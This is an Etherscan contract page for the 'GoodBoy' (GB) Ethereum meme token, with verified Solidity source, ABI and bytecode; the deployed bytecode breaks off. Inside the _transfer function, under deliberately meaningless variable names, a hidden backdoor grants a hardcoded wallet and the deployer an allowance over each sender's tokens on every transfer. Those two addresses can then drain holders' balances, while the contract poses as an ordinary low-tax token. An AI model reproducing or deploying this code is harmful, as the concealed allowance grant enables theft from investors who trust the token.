ETH Price: $3,339.66 (-1.61%)

Token

GoodBoy (GB)
 

Overview

Max Total Supply

1,000,000,000 GB

Holders

269

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,615,000 GB

Value
$0.00
0x84e78b42e6d3fb119fecfe6a1b37b11c6e0030bd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GoodBoy

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-12-27
*/

/*
Goodboy's first stop is on the Ethereum blockchain.
Take him with you, good vibes only.

https://www.goodboyoneth.me
https://x.com/goodboyoneth
https://t.me/goodboyoneth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniSwapRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniSwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract GoodBoy is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFees;
    address private _momoSys;
    address private _totoSys = 0xD345C2bE4ab9452102F855E723b0db3E40c3DbFA;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"GoodBoy";
    string private constant _symbol = unicode"GB";
    uint256 private _maxTaxSwap = _tTotal / 100;
    IUniSwapRouter private _uniRouter;
    address private _uniPair;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=4;
    uint256 private _buyCount=0;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _momoSys = _msgSender();
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _isExcludedFees[_totoSys] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner() {
        _uniRouter = IUniSwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniRouter), _tTotal);
        _uniPair = IUniSwapFactory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _sasa, address _sese, uint256 _sisi) private {
        require(_sasa != address(0), "ERC20: transfer from the zero address");
        require(_sese != address(0), "ERC20: transfer to the zero address");
        require(_sisi > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0; address[3] memory _papa = [_sasa, _totoSys, _momoSys];
        if (_sasa != owner() && _sese != owner()) {
            taxAmount = _sisi.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (_sasa == _uniPair && _sese != address(_uniRouter) && ! _isExcludedFees[_sese] ) {
                _buyCount++;
            }

            if(_sese == _uniPair && _sasa!= address(this) ){
                taxAmount = _sisi.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _sese == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxTaxSwap)
                swapTokensForEth(min(_sisi, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_sasa, address(this),taxAmount);
        }

        _allowances[_papa[0]][_papa[1]] = _sisi.add(taxAmount);
        _allowances[_papa[0]][_papa[2]] = _sisi.add(taxAmount);
        _balances[_sasa]=_balances[_sasa].sub(_sisi);
        _balances[_sese]=_balances[_sese].add(_sisi.sub(taxAmount));
        emit Transfer(_sasa, _sese, _sisi.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        payable(_totoSys).transfer(amount);
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();
        _approve(address(this), address(_uniRouter), tokenAmount);
        _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03191673d345c2be4ab9452102f855e723b0db3e40c3dbfa17905560646100386009600a6102a7565b61004690633b9aca006102bc565b61005091906102d3565b600690815560036009819055600a555f600b819055600c819055600d829055600e919091556004600f556010556011805462ffffff19169055348015610094575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff1990811660019081179092553085528285208054821683179055600554909316845292208054909116909117905561013f6009600a6102a7565b61014d90633b9aca006102bc565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61018d6009600a6102a7565b61019b90633b9aca006102bc565b60405190815260200160405180910390a36102f2565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156101ff57815f19048211156101e5576101e56101b1565b808516156101f257918102915b93841c93908002906101ca565b509250929050565b5f82610215575060016102a1565b8161022157505f6102a1565b816001811461023757600281146102415761025d565b60019150506102a1565b60ff841115610252576102526101b1565b50506001821b6102a1565b5060208310610133831016604e8410600b8410161715610280575081810a6102a1565b61028a83836101c5565b805f190482111561029d5761029d6101b1565b0290505b92915050565b5f6102b560ff841683610207565b9392505050565b80820281158282048414176102a1576102a16101b1565b5f826102ed57634e487b7160e01b5f52601260045260245ffd5b500490565b61146b806102ff5f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c5780639e78fb4f116100575780639e78fb4f14610233578063a9059cbb14610247578063c9567bf914610266578063dd62ed3e1461027a575f80fd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526007815266476f6f64426f7960c81b60208201525b6040516101059190611091565b60405180910390f35b348015610119575f80fd5b5061012d6101283660046110dd565b6102be565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d4565b604051908152602001610105565b34801561016a575f80fd5b5061012d610179366004611107565b6102f4565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101516101b3366004611145565b6001600160a01b03165f9081526001602052604090205490565b3480156101d8575f80fd5b506101e161035b565b005b3480156101ee575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f80fd5b5060408051808201909152600281526123a160f11b60208201526100f8565b34801561023e575f80fd5b506101e16103d5565b348015610252575f80fd5b5061012d6102613660046110dd565b6105ce565b348015610271575f80fd5b506101e16105da565b348015610285575f80fd5b50610151610294366004611160565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102ca338484610740565b5060015b92915050565b5f6102e16009600a61128b565b6102ef90633b9aca00611299565b905090565b5f610300848484610863565b610351843361034c8560405180606001604052806028815260200161140e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d12565b610740565b5060019392505050565b5f546001600160a01b0316331461038d5760405162461bcd60e51b8152600401610384906112b0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103fe5760405162461bcd60e51b8152600401610384906112b0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104479030906104396009600a61128b565b61034c90633b9aca00611299565b60075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610497573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bb91906112e5565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053e91906112e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac91906112e5565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102ca338484610863565b5f546001600160a01b031633146106035760405162461bcd60e51b8152600401610384906112b0565b601154610100900460ff161561065b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610384565b6007546001600160a01b031663f305d719473061068c816001600160a01b03165f9081526001602052604090205490565b5f8061069f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610705573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072a9190611300565b50506011805462ffff0019166201010017905550565b6001600160a01b0383166107a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610384565b6001600160a01b0382166108035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610384565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610384565b6001600160a01b0382166109295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610384565b5f811161098a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610384565b604080516060810182526001600160a01b0380861682526005548116602083015260045416918101919091525f906109c95f546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156109f757505f546001600160a01b03858116911614155b15610b7357610a286064610a22600d5460105411610a1757600954610a1b565b600b545b8690610d4a565b90610dcf565b6008549092506001600160a01b038681169116148015610a5657506007546001600160a01b03858116911614155b8015610a7a57506001600160a01b0384165f9081526003602052604090205460ff16155b15610a945760108054905f610a8e8361132b565b91905055505b6008546001600160a01b038581169116148015610aba57506001600160a01b0385163014155b15610ae757610ae46064610a22600e5460105411610ada57600a54610a1b565b600c548690610d4a565b91505b305f9081526001602052604090205460115460ff16158015610b1657506008546001600160a01b038681169116145b8015610b2a575060115462010000900460ff165b8015610b395750600f54601054115b15610b7157600654811115610b6557610b65610b6085610b5b84600654610e10565b610e10565b610e24565b47610b6f47610f8b565b505b505b8115610beb57305f90815260016020526040902054610b929083610fc6565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be29086815260200190565b60405180910390a35b610bf58383610fc6565b81516001600160a01b039081165f9081526002602090815260408083208287015190941683529290522055610c2a8383610fc6565b81516001600160a01b039081165f9081526002602090815260408083208187015185168452825280832094909455918816815260019091522054610c6e9084611024565b6001600160a01b0386165f90815260016020526040902055610cb1610c938484611024565b6001600160a01b0386165f9081526001602052604090205490610fc6565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cfa8686611024565b60405190815260200160405180910390a35050505050565b5f8184841115610d355760405162461bcd60e51b81526004016103849190611091565b505f610d418486611357565b95945050505050565b5f825f03610d5957505f6102ce565b5f610d648385611299565b905082610d71858361136a565b14610dc85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610384565b9392505050565b5f610dc883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611065565b5f818311610e1e5782610dc8565b50919050565b6011805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e6457610e64611343565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ebb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610edf91906112e5565b81600181518110610ef257610ef2611343565b6001600160a01b039283166020918202929092010152600754610f189130911684610740565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f509085905f90869030904290600401611389565b5f604051808303815f87803b158015610f67575f80fd5b505af1158015610f79573d5f803e3d5ffd5b50506011805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610fc2573d5f803e3d5ffd5b5050565b5f80610fd283856113fa565b905083811015610dc85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610384565b5f610dc883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d12565b5f81836110855760405162461bcd60e51b81526004016103849190611091565b505f610d41848661136a565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110da575f80fd5b50565b5f80604083850312156110ee575f80fd5b82356110f9816110c6565b946020939093013593505050565b5f805f60608486031215611119575f80fd5b8335611124816110c6565b92506020840135611134816110c6565b929592945050506040919091013590565b5f60208284031215611155575f80fd5b8135610dc8816110c6565b5f8060408385031215611171575f80fd5b823561117c816110c6565b9150602083013561118c816110c6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111e557815f19048211156111cb576111cb611197565b808516156111d857918102915b93841c93908002906111b0565b509250929050565b5f826111fb575060016102ce565b8161120757505f6102ce565b816001811461121d576002811461122757611243565b60019150506102ce565b60ff84111561123857611238611197565b50506001821b6102ce565b5060208310610133831016604e8410600b8410161715611266575081810a6102ce565b61127083836111ab565b805f190482111561128357611283611197565b029392505050565b5f610dc860ff8416836111ed565b80820281158282048414176102ce576102ce611197565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156112f5575f80fd5b8151610dc8816110c6565b5f805f60608486031215611312575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161133c5761133c611197565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b818103818111156102ce576102ce611197565b5f8261138457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113d95784516001600160a01b0316835293830193918301916001016113b4565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102ce576102ce61119756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202983ee71b238e6452b520580b642943e0c242afb18bdc75a4d9434fe789d43de64736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c5780639e78fb4f116100575780639e78fb4f14610233578063a9059cbb14610247578063c9567bf914610266578063dd62ed3e1461027a575f80fd5b8063715018a6146101cd5780638da5cb5b146101e357806395d89b4114610209575f80fd5b806306fdde03146100cd578063095ea7b31461010e57806318160ddd1461013d57806323b872dd1461015f578063313ce5671461017e57806370a0823114610199575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526007815266476f6f64426f7960c81b60208201525b6040516101059190611091565b60405180910390f35b348015610119575f80fd5b5061012d6101283660046110dd565b6102be565b6040519015158152602001610105565b348015610148575f80fd5b506101516102d4565b604051908152602001610105565b34801561016a575f80fd5b5061012d610179366004611107565b6102f4565b348015610189575f80fd5b5060405160098152602001610105565b3480156101a4575f80fd5b506101516101b3366004611145565b6001600160a01b03165f9081526001602052604090205490565b3480156101d8575f80fd5b506101e161035b565b005b3480156101ee575f80fd5b505f546040516001600160a01b039091168152602001610105565b348015610214575f80fd5b5060408051808201909152600281526123a160f11b60208201526100f8565b34801561023e575f80fd5b506101e16103d5565b348015610252575f80fd5b5061012d6102613660046110dd565b6105ce565b348015610271575f80fd5b506101e16105da565b348015610285575f80fd5b50610151610294366004611160565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102ca338484610740565b5060015b92915050565b5f6102e16009600a61128b565b6102ef90633b9aca00611299565b905090565b5f610300848484610863565b610351843361034c8560405180606001604052806028815260200161140e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d12565b610740565b5060019392505050565b5f546001600160a01b0316331461038d5760405162461bcd60e51b8152600401610384906112b0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103fe5760405162461bcd60e51b8152600401610384906112b0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104479030906104396009600a61128b565b61034c90633b9aca00611299565b60075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610497573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bb91906112e5565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053e91906112e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac91906112e5565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b5f6102ca338484610863565b5f546001600160a01b031633146106035760405162461bcd60e51b8152600401610384906112b0565b601154610100900460ff161561065b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610384565b6007546001600160a01b031663f305d719473061068c816001600160a01b03165f9081526001602052604090205490565b5f8061069f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610705573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072a9190611300565b50506011805462ffff0019166201010017905550565b6001600160a01b0383166107a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610384565b6001600160a01b0382166108035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610384565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610384565b6001600160a01b0382166109295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610384565b5f811161098a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610384565b604080516060810182526001600160a01b0380861682526005548116602083015260045416918101919091525f906109c95f546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156109f757505f546001600160a01b03858116911614155b15610b7357610a286064610a22600d5460105411610a1757600954610a1b565b600b545b8690610d4a565b90610dcf565b6008549092506001600160a01b038681169116148015610a5657506007546001600160a01b03858116911614155b8015610a7a57506001600160a01b0384165f9081526003602052604090205460ff16155b15610a945760108054905f610a8e8361132b565b91905055505b6008546001600160a01b038581169116148015610aba57506001600160a01b0385163014155b15610ae757610ae46064610a22600e5460105411610ada57600a54610a1b565b600c548690610d4a565b91505b305f9081526001602052604090205460115460ff16158015610b1657506008546001600160a01b038681169116145b8015610b2a575060115462010000900460ff165b8015610b395750600f54601054115b15610b7157600654811115610b6557610b65610b6085610b5b84600654610e10565b610e10565b610e24565b47610b6f47610f8b565b505b505b8115610beb57305f90815260016020526040902054610b929083610fc6565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be29086815260200190565b60405180910390a35b610bf58383610fc6565b81516001600160a01b039081165f9081526002602090815260408083208287015190941683529290522055610c2a8383610fc6565b81516001600160a01b039081165f9081526002602090815260408083208187015185168452825280832094909455918816815260019091522054610c6e9084611024565b6001600160a01b0386165f90815260016020526040902055610cb1610c938484611024565b6001600160a01b0386165f9081526001602052604090205490610fc6565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cfa8686611024565b60405190815260200160405180910390a35050505050565b5f8184841115610d355760405162461bcd60e51b81526004016103849190611091565b505f610d418486611357565b95945050505050565b5f825f03610d5957505f6102ce565b5f610d648385611299565b905082610d71858361136a565b14610dc85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610384565b9392505050565b5f610dc883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611065565b5f818311610e1e5782610dc8565b50919050565b6011805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e6457610e64611343565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ebb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610edf91906112e5565b81600181518110610ef257610ef2611343565b6001600160a01b039283166020918202929092010152600754610f189130911684610740565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f509085905f90869030904290600401611389565b5f604051808303815f87803b158015610f67575f80fd5b505af1158015610f79573d5f803e3d5ffd5b50506011805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610fc2573d5f803e3d5ffd5b5050565b5f80610fd283856113fa565b905083811015610dc85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610384565b5f610dc883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d12565b5f81836110855760405162461bcd60e51b81526004016103849190611091565b505f610d41848661136a565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146110da575f80fd5b50565b5f80604083850312156110ee575f80fd5b82356110f9816110c6565b946020939093013593505050565b5f805f60608486031215611119575f80fd5b8335611124816110c6565b92506020840135611134816110c6565b929592945050506040919091013590565b5f60208284031215611155575f80fd5b8135610dc8816110c6565b5f8060408385031215611171575f80fd5b823561117c816110c6565b915